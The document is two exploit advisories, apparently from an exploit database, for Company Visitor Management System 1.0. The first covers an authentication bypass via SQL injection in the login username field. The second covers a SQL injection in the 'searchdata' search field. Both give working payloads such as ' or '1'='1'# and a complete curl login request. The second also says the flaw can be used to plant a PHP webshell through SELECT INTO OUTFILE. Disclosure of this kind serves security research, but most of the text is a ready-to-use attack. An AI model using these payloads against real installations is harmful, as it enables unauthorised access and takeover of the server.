# Exploit Title: Company Visitor Management System (CVMS) 1.0 - Authentication Bypass # Date: 2020-07-20 # Exploit Author: gh1mau # Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/ # Vendor Homepage: https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9602 # Version: V1.0 # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64) Vulnerable File: ---------------- /index.php Vulnerable Code: ----------------- line 8: $adminuser=$_POST['username']; Vulnerable Issue: ----------------- $adminuser=$_POST['username']; is not filtered correcty POC: ---- URL: http://localhost/cvms/index.php Username : ' or '1'='1'# Password : anything Sample Request: curl -i -s -k --location --request POST 'http://localhost/cvms/index.php' \ --header 'Origin: http://localhost:88' \ --header 'Cookie: PHPSESSID=2fco8hh2r5ccveq520n33chc80' \ --header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \ --header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \ --header 'Connection: close' \ --header 'Referer: http://localhost:88/cvms/index.php' \ --header 'Host: localhost:88' \ --header 'Accept-Encoding: gzip, deflate' \ --header 'Upgrade-Insecure-Requests: 1' \ --header 'Accept-Language: en-US,en;q=0.5' \ --header 'Content-Length: 61' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-raw 'username=%27+or+%271%27%3D%271%27%23&password=anything&login=' ---- # Exploit Title: Company Visitor Management System (CVMS) 1.0 - 'searchdata' SQL Injection # Date: 2020-07-20 # Exploit Author: gh1mau # Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/ # Vendor Homepage: https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9602 # Version: V1.0 # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64) Vulnerable File: ---------------- \search-visitor.php Vulnerable Code: ----------------- line 77: $sdata=$_POST['searchdata']; Vulnerable Issue: ----------------- $sdata=$_POST['searchdata']; is not filtered correcty [+] Any authenticated user/client can inject the following payload inside the Search Form [+] Attacker can inject php webshell using SELECT INTO OUTFILE method through this entry point POC: ---- Payload: searchdata=%27+or+%271%27%3D%271%27%23&search=